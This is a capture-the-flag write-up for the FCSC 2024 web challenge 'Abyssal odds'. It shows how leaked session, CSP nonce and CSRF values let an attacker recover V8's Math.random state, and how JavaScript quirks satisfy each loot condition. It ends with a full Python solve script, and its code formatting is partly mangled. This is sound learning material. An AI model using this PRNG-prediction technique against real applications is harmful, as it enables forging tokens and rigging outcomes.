FCSC 2024 Qualification - Abyssal odds (web)
FCSC 2024 Qualification - Abyssal odds
The sources of the challenge are available on hackropole.fr
The challenge consists of a nodejs web application that allows a player to buy some loot boxes for 125 tokens. The player starts with 1000 tokens.
According to .\src\routes\collection.ts
, the goal is to
have all loot boxes :
import { renderTemplate } from "../templates";
export default eventHandler((event) => {
const collection = fullCollection.map((item, idx) => ({
name: item.name,
img: item.img,
owned: event.session.collection.has(idx),
;
}))
const count = event.session.collection.size;
const flag = count === fullCollection.length && (process.env.FLAG || "FCSC{flag}");
return renderTemplate(event, "collection", { collection, flag });
; })
When the player buys a box, the following code is called :
import { renderTemplate } from "../templates";
const PRICE = 125;
export default eventHandler(async (event) => {
let error = "";
const hasEnoughCoins = event.session.coins >= PRICE;
if (event.method === "POST") {
if (event.session.coins >= PRICE) {
event.session.coins -= PRICE;
const box = createBox();
event.session.boxes.set(box.id, box);
console.log("new box : " + box.id, box.seed)
return renderTemplate(event, "buy", {
,
error,
boxprice: PRICE,
,
hasEnoughCoins;
})
}
= "Not enough coins";
error
}
...]
[; })
The cash is debited and then the box is created. There is no logic flaws to bypass the buy mechanisms. What about the box creation :
export const fullCollection = [
name: "Ocean Pearl Bivalve", img: "/mussle.webp" },
{ name: "Royal Crustacean", img: "/crab.webp" },
{ name: "Luminescent Medusa", img: "/jellyfish.webp" },
{ name: "Sovereign Cephalopod", img: "/octopus.webp" },
{ name: "Coral Reef Specter", img: "/shrimp.webp" },
{ name: "Celestial Seastar", img: "/star.webp" },
{ name: "Majestic Chelonian", img: "/turtle.webp" },
{ name: "Treasure Trove", img: "/molluscs.webp" },
{ as const;
]
export interface LootBox {
id: string;
seed: number;
}
export function createBox() {
console.log("call box")
return {
id: randomHex(),
seed: randomNumber(),
;
}
}
function _openBox(box: LootBox, key: number) {
const ts = Math.floor(Date.now() / 1000);
switch (true) {
case key === box.seed:
return 1;
case Math.abs(key - ts) < 60:
return 2;
case box.seed % key === 0:
return 3;
case Math.cos(key) * 0 !== 0:
return 4;
case key && (box.seed * key) % 1337 === 0:
return 5;
case key && (box.seed | key) === (box.seed | 0):
return 6;
case !(key < 0) && box.seed / key < 0:
return 7;
default:
return 0;
}
}
export function openBox(box: LootBox, key: number) {
const lootId = _openBox(box, key);
const loot = fullCollection[lootId];
console.log(`[BOX OPEN] seed=${box.seed} key=${key} result=${loot.name}`);
return { loot, lootId };
}
The following code explains several things :
- the box has 2 attributes :
id
andseed
which are random - the loot value is determined by the function
_openBox
_openBox
usekey
, a user-provided parameter to decide which loot will be returned
Having the goal in mind, the plan is crystal clear. We have to
fulfill the 8 requirements to have the 8 different boxes. However, a lot
of the requirements depends on the seed
value of the box
which is create by randomNumber
.
cryptoish analysis
Cryptography is a big word for a small analysis. All the
crypto functions are based on Math.random()
export function randomNumber() {
var x = Math.random();
console.log("random number : " + x + " : " + Math.floor(x * 0xffffffff))
return Math.floor(x * 0xffffffff);
}
export function randomStr() {
return randomNumber().toString(36);
}
export function randomHex() {
return (
randomNumber().toString(16).padStart(8, "0") +
randomNumber().toString(16).padStart(8, "0")
;
) }
There is no way to seed this method to control the next generated number. However there are attacks to determine the state of the PRNG like :
I won’t go in crypto details as I don’t understand them and still
don’t want to but the fact is V8 uses the xorshift128+
PRNG
and the internal state can be calculated with at least 6 consecutive
values. Let’s find these 6 values.
values identification
There are 2 middleware in the applications. 0-patch.ts
which call a random amount of time Math.random()
:
export default defineEventHandler((event) => {
var m = Math.random()
const rounds = Math.floor(m * 100);
for (let i = 0; i < rounds; i++) {
var x = Math.random();
}; })
And 1-session.ts
which set up the CSP nonce, session
cookie and CSRF token :
export default defineEventHandler((event) => {
let sessionId = getCookie(event, COOKIE_NAME);
if (!sessionId) {
console.log("cookie 1")
= randomHex();
sessionId setCookie(event, COOKIE_NAME, sessionId);
}
let session = sessions.get(sessionId);
if (!session) {
= {
session id: sessionId,
coins: 1000,
collection: new Set(),
boxes: new Map(),
;
}.set(sessionId, session);
sessions
}event.session = session;
// CSP stuff
console.log("csp")
event.nonce = randomHex();
setHeader(
event,
"Content-Security-Policy",
`default-src 'self'; style-src 'unsafe-inline'; script-src 'nonce-${event.nonce}' https://cdn.tailwindcss.com/ ; img-src *`
;
)
// CSRF stuff
let cookieToken = getCookie(event, "csrf_token");
if (!cookieToken) {
console.log("cookie csrf 2")
= randomHex();
cookieToken setCookie(event, "csrf_token", cookieToken);
}event.csrfToken = cookieToken;
; })
The first time you visit the app you will have no cookie so it will
be created at this moment. The sessionId
cookie is created
with randomHex()
which is :
randomNumber().toString(16).padStart(8, "0") + randomNumber().toString(16).padStart(8, "0")
Then the CSP nonce and the CSRF token are generated with the same method thus leaking 4 other values from the PRNG.
Then if we buy a box a new call to randomHex()
will be
done for the box id value which is then inserted in the HTML document
making it our 6 needed values.
With the 6 values, we will have the PRNG internal state allowing us
to guess the next call to Math.random() * 0xffffffff
which
will be used as seed to create the bought box with
randomNumber()
! ## scripting the state leaker
The following short script will do the following actions :
- POST on
/buy
in order to buy a box - extracting the 6 values from the response of the server (csp*2 + csrf*2 + boxId*2)
- feed the v8_rand_buster
with
0xffffffff
as constant to get the internal state in st0 and st1 - calculate the next value after the 6 values which will be the box seed
import requests
from re import findall
from solv_lib import main
from time import time
from huepy import green, red
def nsplit(line, n):
return [line[i:i+n] for i in range(0, len(line), n)]
= "https://abyssal-odds.france-cybersecurity-challenge.fr"
url
= requests.Session()
session
def extract(res):
= findall(r"name=\"csrf_token\" value=\"([0-9a-f]{16})\"", res.text)[0]
csrf_token = findall(r"name=\"boxId\" value=\"([0-9a-f]{16})\"", res.text)[0]
box_id return (csrf_token, box_id)
def get_seed(res, csrf_token, box_id):
= nsplit(findall(r"nonce\-([0-9a-f]{16})", res.headers["Content-Security-Policy"])[0], 8)
a, b = nsplit(csrf_token, 8)
c, d = nsplit(box_id, 8)
e, f
= list(map(lambda x: int(x, 16), [f, e, d, c, b, a]))
values
for line in values[::-1]:
print("val: " + str(line))
= main(3.0, 4294967295.0, None, values ) # call the tool to get the state
st0, st1 = main(None, 4294967295.0, (st0, st1, 3), None)[::-1][0] # call the tool to calculate the next value
res
print(f"[+] seed : {res}")
return res
def check_res(res, excepted):
if (val := findall(r'<div class="name text-2xl font-thin text-amber-600">(.*)</div>', res.text)[0]) == excepted:
print(green(val))
else:
print(red(val))
if __name__ == "__main__":
= session.post(url + "/buy", data={
res "action": "buy",
})
= extract(res)
csrf_token, box_id = get_seed(res, csrf_token, box_id) payload
I modified a bit the server sources in order to print the call to
each call of Math.random()
and it’s value by
0xffffffff
:
My script extracts the 6 values and, as we see, they are the value generated by the random calls. The found seed corresponds to the seed used to create the new box as intended.
Now that we have the seed let’s solve the JS fuckeries.
JS fuckeries
As stated before the seed is used to make constraints that have to be solved in order to choose a given box.
function _openBox(box: LootBox, key: number) {
const ts = Math.floor(Date.now() / 1000);
switch (true) {
case key === box.seed:
return 1;
case Math.abs(key - ts) < 60:
return 2;
case box.seed % key === 0:
return 3;
case Math.cos(key) * 0 !== 0:
return 4;
case key && (box.seed * key) % 1337 === 0:
return 5;
case key && (box.seed | key) === (box.seed | 0):
return 6;
case !(key < 0) && box.seed / key < 0:
return 7;
default:
return 0;
} }
For the first one, we only need to send the box seed as a key so nothing too weird.
The second one requires to send the same timestamp as the server with less than 60 µs of delta which is also straightforward.
the server is sending its time through the
Date
header
# 1 send the calculated seed
= session.post(url + "/buy", data= {
res "action": "buy",
})
= extract(res)
csrf_token, box_id = get_seed(res, csrf_token, box_id)
payload
={
data"csrf_token": csrf_token,
"key": payload,
"boxId" : box_id,
"action": "open"
}
= session.post(url + "/open", data=data)
res "Royal Crustacean")
check_res(res,
# 2 send the timestamp
= session.post(url + "/buy", data= {
res "action": "buy",
})
= extract(res)
csrf_token, box_id
={
data"csrf_token": csrf_token,
"key": time() + 360, # I have not the same time as the server
"boxId" : box_id,
"action": "open"
}
= session.post(url + "/open", data=data)
res "Luminescent Medusa") check_res(res,
The third constraint is to find something like
seed % key === 0
and seed != key
. I’m bad at
math so I went full goblin mode
= False
done
while not done:
del session.cookies["csrf_token"]
= session.post(url + "/buy", data= {
res "action": "buy",
})
= extract(res)
csrf_token, box_id = get_seed(res, csrf_token, box_id)
payload if payload % 2 == 0:
= True
done
={
data"csrf_token": csrf_token,
"key": int(payload) / 2,
"boxId" : box_id,
"action": "open"
}
= session.post(url + "/open", data=data)
res "Sovereign Cephalopod") check_res(res,
The JS weirderies starts with the 4th constraints as we need
something like Math.cos(key) * 0 !== 0
which will drive by
math teacher crazy as nothing by 0 would give something different than 0
(at least in this corpus).
But this things exists in JS causeMath.cos
of a huge
number will return NaN
and NaN
by 0 is
Nan
which is different of 0.
Math.cos(370000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) * 0 !== 0
true
The 5th requires
key && (seed * key) % 1337 === 0
but as I’m still
noob at maths I went Gobelin again with :
# 5
del session.cookies["csrf_token"]
= session.post(url + "/buy", data= {
res "action": "buy",
})
= extract(res)
csrf_token, box_id = get_seed(res, csrf_token, box_id)
payload
= 1
i
while payload * i % 1337 != 0:
+= 1
i
={
data"csrf_token": csrf_token,
"key": i,
"boxId" : box_id,
"action": "open"
}
= session.post(url + "/open", data=data)
res "Celestial Seastar") check_res(res,
The 6th is funny. It’s says
key && (box.seed | key) === (box.seed | 0)
which
can be summed up as :
a && a != b && (b | a) === (b | 0)
a && a != b && (b | a) === b
Which I guess is quite impossible outside of a JS engine. I just fuzzed the input in a local node console and find that a big enough number will make shit works aha.
var a = 0xfffffffffffffff; var b = 720420764; (b | a) === (b | 0) // b is a random key for the test
true
| 0xffffffffffffff)
(b 720420764
My guess is that if we go further than 2^32
the output
of (b | a)
will be a 64 bits value and the value will be
truncated making it return the low part which is b.
Finally the last one was a bit harder and still mathematically not
possible : !(key < 0) && box.seed / key < 0
:
- key can’t be below 0 - seed / 0 must be below zero
Or something positive divided by something else positive can’t be
negative. Unless you use a JS engine as
-0
is positive
!( -0 < 0) // true
720420764 / -0) < 0 // true
(
!(-0 < 0) && (720420764 / -0) < 0 // true
Lauching the exploit will return the cookie of the session with all the loot box opened :
The returned session will has all the loot box opened !
Some resources :
- https://github.com/denysdovhan/wtfjs
- https://stackoverflow.com/questions/26614728/why-is-0-less-than-number-min-value-in-javascript
import requests
from re import findall
from solv_lib import main
from time import time
from huepy import green, red
def nsplit(line, n):
return [line[i:i+n] for i in range(0, len(line), n)]
= "https://abyssal-odds.france-cybersecurity-challenge.fr"
url
= requests.Session()
session
def extract(res):
= findall(r"name=\"csrf_token\" value=\"([0-9a-f]{16})\"", res.text)[0]
csrf_token = findall(r"name=\"boxId\" value=\"([0-9a-f]{16})\"", res.text)[0]
box_id return (csrf_token, box_id)
def find_next():
pass
def get_seed(res, csrf_token, box_id):
= nsplit(findall(r"nonce\-([0-9a-f]{16})", res.headers["Content-Security-Policy"])[0], 8)
a, b = nsplit(csrf_token, 8)
c, d = nsplit(box_id, 8)
e, f
= list(map(lambda x: int(x, 16), [f, e, d, c, b, a]))
values
for line in values[::-1]:
print("val: " + str(line))
= main(3.0, 4294967295.0, None, values )
st0, st1 = main(None, 4294967295.0, (st0, st1, 3), None)[::-1][0]
res print(f"[+] seed : {res}")
return res
def check_res(res, excepted):
if (val := findall(r'<div class="name text-2xl font-thin text-amber-600">(.*)</div>', res.text)[0]) == excepted:
print(green(val))
else:
print(red(val))
if __name__ == "__main__":
# 1
= session.post(url + "/buy", data= {
res "action": "buy",
})
= extract(res)
csrf_token, box_id = get_seed(res, csrf_token, box_id)
payload
exit()
={
data"csrf_token": csrf_token,
"key": payload,
"boxId" : box_id,
"action": "open"
}
= session.post(url + "/open", data=data)
res "Royal Crustacean")
check_res(res,
# 2
= session.post(url + "/buy", data= {
res "action": "buy",
})
= extract(res)
csrf_token, box_id
={
data"csrf_token": csrf_token,
"key": time() + 360,
"boxId" : box_id,
"action": "open"
}
= session.post(url + "/open", data=data)
res "Luminescent Medusa")
check_res(res,
# 3
= False
done
while not done:
del session.cookies["csrf_token"]
= session.post(url + "/buy", data= {
res "action": "buy",
})
= extract(res)
csrf_token, box_id = get_seed(res, csrf_token, box_id)
payload if payload % 2 == 0:
= True
done
={
data"csrf_token": csrf_token,
"key": int(payload) / 2,
"boxId" : box_id,
"action": "open"
}
= session.post(url + "/open", data=data)
res "Sovereign Cephalopod")
check_res(res,
# 4
= session.post(url + "/buy", data= {
res "action": "buy",
})
= extract(res)
csrf_token, box_id
={
data"csrf_token": csrf_token,
"key": "370000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
"boxId" : box_id,
"action": "open"
}
= session.post(url + "/open", data=data)
res "Coral Reef Specter")
check_res(res,
# 5
del session.cookies["csrf_token"]
= session.post(url + "/buy", data= {
res "action": "buy",
})
= extract(res)
csrf_token, box_id = get_seed(res, csrf_token, box_id)
payload
= 1
i
while payload * i % 1337 != 0:
+= 1
i
={
data"csrf_token": csrf_token,
"key": i,
"boxId" : box_id,
"action": "open"
}
= session.post(url + "/open", data=data)
res "Celestial Seastar")
check_res(res,
# 6
del session.cookies["csrf_token"]
= session.post(url + "/buy", data= {
res "action": "buy",
})
= extract(res)
csrf_token, box_id = get_seed(res, csrf_token, box_id)
payload
print(payload)
={
data"csrf_token": csrf_token,
"key": "111111111111111111111111111",
"boxId" : box_id,
"action": "open"
}
= session.post(url + "/open", data=data)
res "Majestic Chelonian")
check_res(res,
# 7
del session.cookies["csrf_token"]
= session.post(url + "/buy", data= {
res "action": "buy",
})
= extract(res)
csrf_token, box_id = get_seed(res, csrf_token, box_id)
payload
print(payload)
={
data"csrf_token": csrf_token,
"key": "-0",
"boxId" : box_id,
"action": "open"
}
= session.post(url + "/open", data=data)
res "Treasure Trove")
check_res(res,
# 8
del session.cookies["csrf_token"]
= session.post(url + "/buy", data= {
res "action": "buy",
})
= extract(res)
csrf_token, box_id ={
data"csrf_token": csrf_token,
"key": "1312",
"boxId" : box_id,
"action": "open"
}
= session.post(url + "/open", data=data)
res "Ocean Pearl Bivalve")
check_res(res,
print(session.cookies['session_id'])